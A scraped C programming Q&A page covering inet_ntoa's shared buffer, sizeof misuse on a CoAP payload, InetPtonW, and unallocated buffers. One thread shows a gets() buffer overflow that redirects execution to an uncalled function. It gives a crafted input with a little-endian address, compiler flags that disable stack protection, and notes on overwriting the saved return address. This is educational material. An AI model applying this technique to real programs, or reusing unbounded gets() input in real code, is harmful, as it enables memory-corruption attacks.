inet_ntoa gives the same result when called with two different addresses - c

//
char ip1[] = "127.0.0.1";
char ip2[] = "211.100.21.179";
printf("ip1: %s\nip2: %s\n", ip1, ip2);
//
long l1 = inet_addr(ip1);
long l2 = inet_addr(ip2);
printf("ip1: %ld\nip2: %ld\n", l1, l2);
//
struct in_addr addr1, addr2;
memcpy(&addr1, &l1, 4);
memcpy(&addr2, &l2, 4);
printf("%u\n", addr1.s_addr);
printf("%u\n", addr2.s_addr);
//
printf("%s\n", inet_ntoa(addr1));
printf("%s\n", inet_ntoa(addr2));
//
printf("%u,%s\n", addr1.s_addr, inet_ntoa(addr1));
printf("%u,%s\n", addr2.s_addr, inet_ntoa(addr2));
printf("%s <--> %s\n", inet_ntoa(addr1), inet_ntoa(addr2));
The output is:
ip1: 127.0.0.1
ip2: 211.100.21.179
ip1: 16777343
ip2: 3004523731
16777343
3004523731
127.0.0.1
211.100.21.179
16777343,127.0.0.1
3004523731,211.100.21.179
211.100.21.179 <--> 211.100.21.179 // why the same??
I know printf parse arg from right to left or vise versa is platform-dependent, but why the output is the same value, please help to explain.

From the Linux man pages : https://linux.die.net/man/3/inet_ntoa
The inet_ntoa() function converts the Internet host address in, given
in network byte order, to a string in IPv4 dotted-decimal notation.
The string is returned in a statically allocated buffer, which
subsequent calls will overwrite.
It seems the two calls the inet_nota() share a buffer, so calling the function twice overwrites whats in the buffer and replaces it with the next call, thus you get the same output

inet_ntoa() uses an internal buffer to convert an address to a string. Every time you call it it rewrites the same buffer with the new address. So both calls to inet_ntoa() are returning the same pointer, and thus printf() prints the same string twice. inet_ntoa() does this so that you don't have to free() a string every time you call it. If you want your output to look the way you expect you can do this:
printf("%s <--> ", inet_ntoa(addr1))
printf("%s\n", inet_ntoa(addr2));
That way printf() will have printed the first address before the second call to inet_ntoa() overwrites it.

Related

Send Json Payload to californium server

I am using the development kit nrf9160 from Nordic Semiconductor. The server hostname in my code is "californium.eclipseprojects.io" and peer "5684".
I want to send a JSON payload using the PUT-method from CoAP. For this I am creating my JSON Payload with the following function:
{
cJSON *root = cJSON_CreateObject();
cJSON_AddNumberToObject(root, "JSON", 50);
cJSON_AddNumberToObject(root, "Content-Form", 12);
return root;
}
The main function:
cJSON_Init();
cJSON *item = createJsonFromParams();
char *payload=cJSON_Print(item);
What I am sending is this:
{
"JSON": 50,
"Content-Form": 12
}
And what the server gets is : "{\n\t"
Can someone please help and tell me, why is it like that? Is this the appropriate way of sending the JSON Payload?
The result of
cJSON_Init();
cJSON *item = createJsonFromParams();
char *payload=cJSON_Print(item);
will be a common C-string with a \000 byte to terminate the string.
coap_packet_append_payload(&request, (uint8_t *)payload, sizeof(payload)-1);
is a snippet, which usually is used with an array definition in the same scope as the sizeof.
char payload[] = "I'm a array";
printf("sizeof %d, strlen %d\n", sizeof(payload), strlen(payload));
that prints:
sizeof 12, strlen 11
because sizeof contains the trailing \000, strlen not.
If you use sizeof for pointer, as
char *payload=cJSON_Print(item);
printf("sizeof %d, strlen %d\n", sizeof(payload), strlen(payload));
the result will be the sizeof the pointer (depending on your cpu architecture) and the length of the returned JSON string.
sizeof 4, strlen n
you now reduce the wrong by 1 (as it would be ok for an array), which result in 3. What you need to do to fix it:
coap_packet_append_payload(&request, (uint8_t *)payload, strlen(payload));
Please be aware: C has many pitfalls, here, don't forget to free the payload after your ready. If you fall in such a the pitfal, you application will get unstable.

Accessing an outer function using an int input from the user in C

Given this code:
#include <stdio.h>
#include <stdlib.h>
void winner(){
printf("I am a winner!");
}
int main()
{
int B = 0;
char A[4] = {};
printf("Enter a string: ");
gets( A );
// your line goes here //
return 0;
}
Can we change // line goes here // and make this program print "I am a winner" (Using of-course only the input A we get and a buffer overflow maybe)? This is a program that I've written just to play with "buffer overflow" and how it works, but I can't figure a way to make it work, I tried using this line:
printf("%s", ((void * ) B) );
and
printf("%s", &B);
In order to get the address - I just ran this program 2 times, in one time I printed the memory location of winner() and then copied it. But, is there a way without looking at the address beforehand (Because maybe the address changes?), using maybe debuggers?
But to no avail, the program does not print and does not access the outer function.. it even crashes sometimes - why?
I wrote this myself just for self-learning, and I can't figure a way to solve it (if there is a way.. I don't know..)! on the other hand - I am not a C expert, so I thought I would ask here. Thank you!
Hmm, the title of your question doesn't clearly address that, you were trying to create a Buffer overflow exploit for an external function call.
Buffer overflows using vulnerable functions such as gets() which reads the input stream until it finds a null terminator(ignoring the target buffer limit) are mitigated nowadays using ASLR, stack canaries etc at compiler level.
#include <stdio.h>
#include <stdlib.h>
void winner()
{
printf("I am a winner!\n");
}
int main()
{
int B = 0;
char A[4];
printf("winner() function is at 0x%p\n", &winner);
printf("Enter 4 byte char array followed by target EIP addr in binary little endian format:\n");
gets(A);
printf("Raw binary data at Integer B: 0x%p\n", B);
printf("Pointer to A: 0x%p\n", A);
printf("Pointer to B: 0x%p\n", &B);
if (B)
{
printf("Raw binary non-null data at Integer B: 0x%p\n", B);
void (*ptr)() = (void *)B;
printf("Pointer data in ptr: 0x%p\n", ptr);
(*ptr)();
}
B = 0;
const char *p = A;
printf("Entered data at A: 0x");
for (; *p != '\0'; p++)
printf("%x", *p);
printf("\n");
return 0;
}
Input and Output for Buffer Overflow
echo -e 'aaaa' | ./a.exe
winner() function is at 0x00401460
Enter 4 byte char array followed by target EIP addr in binary little endian format:
Raw binary data at Integer B: 0x00000000
Pointer to A: 0x0061FF10
Pointer to B: 0x0061FF14
Entered data at A: 0x61616161
Input and Output for Buffer Overflow
echo -e 'aaaa\x60\x14\x40\x00' | ./a.exe //the pointer to the function is obtained from previous execution and is input to the function in LITTLE ENDIAN format(0x00401460->\x60\x14\x40\x00).
winner() function is at 0x00401460
Enter 4 byte char array followed by target EIP addr in binary little endian format:
Raw binary data at Integer B: 0x00401460
Pointer to A: 0x0061FF10
Pointer to B: 0x0061FF14
Raw binary non-null data at Integer B: 0x00401460
Pointer data in ptr: 0x00401460
I am a winner! //winner() function is invoked.
Entered data at A: 0x61616161
Compile options
gcc -g main.c // -g flag is for debug compilation with symbols (non-optimized load/exe).
gcc -g main.c -fno-stack-protector // -fno-stack-protector disables any protection mechanism usually deployed by the compiler.
But to implement these type of exploit:
The stack protection needs to be turned off (ASLR, stack canaries etc) while compilation.
The target function needs to be present in the expected executable/object file, for instance if the function is never being referenced anywhere then the Optimizing compiler might ignore it and it would never be found.
Key points:
The x86 and x64 architecture uses the push and pop instructions to save the register states during function call onto the new stackframe upon function entry.
Thus the EIP/RIP(Instruction pointer which points to next assembly instruction for execution) can be manipulated to point to any target address by re-writing the saved-IP data(return addr) on the stackframe.
The location of saved EIP(return address) on the stack frame (pointed by ESP-extended stack pointer) needs to be located in memory for manipulation.
The target address which contains interested code, needs to present in the memory, if it is from same address space or from different address space such as another loaded shared DLL library or another exe process, needs to be located.
Still there is possibility of the current program which is vulnerable being crashed, since the buffer overflow attack can re-write the entire structure between the buffer and the saved-EIP on the stack frame, the saved-register data become corrupted upon restoration during function-return.
Also the current program needs to get the control back to proceed without interruption. So the control from the exploit function needs to return back to the calling function or it's parent.
Note that the stack frame grows from the higher memory range towards lower, so the local variables are placed in reverse order of declaration onto the stack.
Ex: int B; char A[4] will be placed as:
(char A[4]) 0x------10 ____ (4-byte char data)
(int B) 0x------14 ____ (4-byte integer data)

InetPtonW always returns 1.0.0.0

I just started learning C and now I'm learning how to use the winsock2-Header. To convert an ip address from the string representation to its binary form I use the function InetPtonW. My problem is that this function always returns the IP adress 1.0.0.0.
I'm using Visual Studio on Windows 10. I read the documentation from Microsoft (see here) and I also read this question on Stackoverflow. I tried different things using other data types but I could not get the correct result.
Below is the relevant code for my problem.
int main() {
WSADATA wsa;
SOCKET s;
struct sockaddr_in server;
PCWSTR pStringIp = (L"172.217.168.14"); //IP for own webserver
PVOID pAddrBuf;
char* message;
char* recvbuf; // Buffer for the reply
int recvbuflen = DEFAULT_BUFLEN; //Size of the reply from the server
/* Socket creation etc. would be here */
pAddrBuf = malloc(INET6_ADDRSTRLEN);
if (pAddrBuf == NULL) {
printMemoryErrorFailMessage(errno, pAddrBuf);
return EXIT_FAILURE;
}
server.sin_addr.s_addr = InetPtonW(AF_INET, pStringIp, pAddrBuf);
free(pAddrBuf);
}
I expect that in the example the ip address will be converted to 172.217.168.14 but not 1.0.0.0
If you need more information or more code, just ask. Thanks for your help.
Kindly
Necessary_Function
From the InetPtonW documentation:
For the argument pAddrBuf
A pointer to a buffer in which to store the numeric binary representation of the IP address. The IP address is returned in network byte order.
For the returned value
If no error occurs, the InetPton function returns a value of 1 and the buffer pointed to by the pAddrBuf parameter contains the binary numeric IP address in network byte order.
To summarize: The function returns a boolean 1 or 0 depending on if it succeeds or fails; And if it succeeds it writes the address into the memory pointed to by pAddrBuffer (the third argument).
The reason you get the address 1.0.0.0 is because you use the returned boolean result as the address, while discarding the actual address that was written to the memory pointed to by pAddrBuf.
The "correct" way to use the function would be something like this:
if (InetPtonW(AF_INET, pStringIp, &server.sin_addr.s_addr) == 1)
{
// Success, use the address some way
}

C Returning String Not Correct

I have a simple function to get the MAC address on a linux machine (assuming eth0 exists. I'll write more later on).
Side Question: Is there an interface universal across ALL Linux distros? Other than lo?
C Function:
char* getmac(){
FILE *mf;
mf = fopen("/sys/class/net/eth0/address", "r");
if(!mf) exit(-1);
char *mac;
fgets(mac, 18, mf);
printf("%2\n", mac);
return mac;
}
Now, this prints out the MAC perfectly. However, when I return it, I get a totally different value.
char *m;
m = getmac();
printf("%s\n", m);
yields a completely different, mostly unreadable string. The first 2 characters are ALWAYS correct, after that, it's unreadable...
This worked like a charm:
char* getmac(){
FILE *mf;
mf = fopen("/sys/class/net/eth0/address", "r");
if(!mf) exit(-1);
char *mac;
mac = calloc(18, sizeof(char));
if(!mac) exit(-1);
fgets(mac, 18, mf);
printf("%s\n", mac);
return mac;
}
Thanks for the answers!! Also, free'd later on.
char *mac;
fgets(mac, 18, mf);
You need to assign memory to mac first, perhaps with malloc.
As jia103 points out in the comments, one way to structure your code could be:
char* getmac(char *buf, size_t size);
Then the caller can more freely decide how the contents are stored (perhaps the client isn't all that interested in malloc and would much prefer an array on the stack).
You never allocated memory for mac. Malloc it:
char * mac = malloc(18);
(char mac[18] wouldn't work since you want to return the string from the function, so it needs to live beyond the scope of getmac)
Don't forget to free it!
Alternatively, make it the caller's responsibility:
void getmac(char mac[18]){
Note that this requires you to pass an array of exactly 18 chars, i.e. not one that was malloced or isn't exactly 18 elements. So, call it with this:
char mac[18];
getmac(mac);
To allow a bit more freedom declare it with this:
void getmac(char * mac)
And make sure the caller always allocates enough memory.
As the other answers note you could also pass a size parameter, but since you know that you need a buffer of exactly 18 characters this seems a bit redundant to me. A size parameter does become important when you work with strings of variable length.
You're writing to memory you're not supposed to. You never initialized mac to any usable memory, so it's writing to whatever memory location it initially had. You'd catch this immediately if you have a habit of initializing your variables, but I can't remember if C allows this:
FILE* mf = NULL;
char* mac = NULL;
The reason this should get caught is because your program will fail when you try to call fgets() and pass it NULL for mac.
What you should do is provide a storage area in which to write the data so that you can get it when it comes back out.
void getmac(char* buffer,
int bufsize)
{
...
}
Then, you can call it as follows:
const int BUFSIZE = 1024;
char m[BUFSIZE] = {0};
getmac(m, BUFSIZE);
printf("%s\n", m);

Passing float * and FILE * to/from functions in C

First, I declare variables before the main() function:
// Files
FILE *density_model_file;
char *density_model_filename;
float *density_array;
Next, I open the FILE * for reading and allocate memory for the density array:
density_model_file = open4read(density_model_filename, program_name);
density_array = allocator(density_model_size, sizeof(float));
Up to this point, the debugger shows everything is working fine. Here
is the step that I can't seem to fix, where I am attempting to load
data into the calloc'd array:
density_array = floatfromfile(sizeof(float), density_model_size, density_model_file, density_model_filename);
The density_array has a NULL value after this step for some reason.
Here is the code for this function (contained in a separate .c file).
I have bolded the part where I think the issue exists:
float * floatfromfile(unsigned long int entrysize, int numentries, FILE *inputfile, const char *filename)
{
/* Declaration of density model array size variable */
int numbytes;
**void *temparray = 0;
/* Writes the gravity model to file */
numbytes = (int)fread(temparray, entrysize, numentries, inputfile);**
/* Checks that the forward model file has a sufficient number of entries */
if (numbytes == numentries)
{
printf("loaded %i values from %s using fread()\n", numbytes, filename);
return((float *)temparray);
}
else
{
printf("ERROR: %i data points read from %s of %i needed\n", numbytes, filename, numentries);
return((float *)temparray);
}
}
Any insight would be much appreciated. I think the issue might be that calloc() returns a pointer to a void array. I can provide the other functions if needed.
You seem to have a misunderstanding about how pointers work. What you need to do is pass density_array into floatfromfile as an argument.
What you are doing instead is overwriting the pointer to your allocated memory, with the return value from floatfromfile. That return value is always NULL because that's what you assigned it to (as temparray).
fread expects to be able to write its results into an allocated memory block. But you're giving it temparray which has not been allocated—in fact its value is 0. So you're giving fread the address 0 to write into, which is likely to cause the program to crash. Instead you need to pass your allocated pointer density_array at this point.

Resources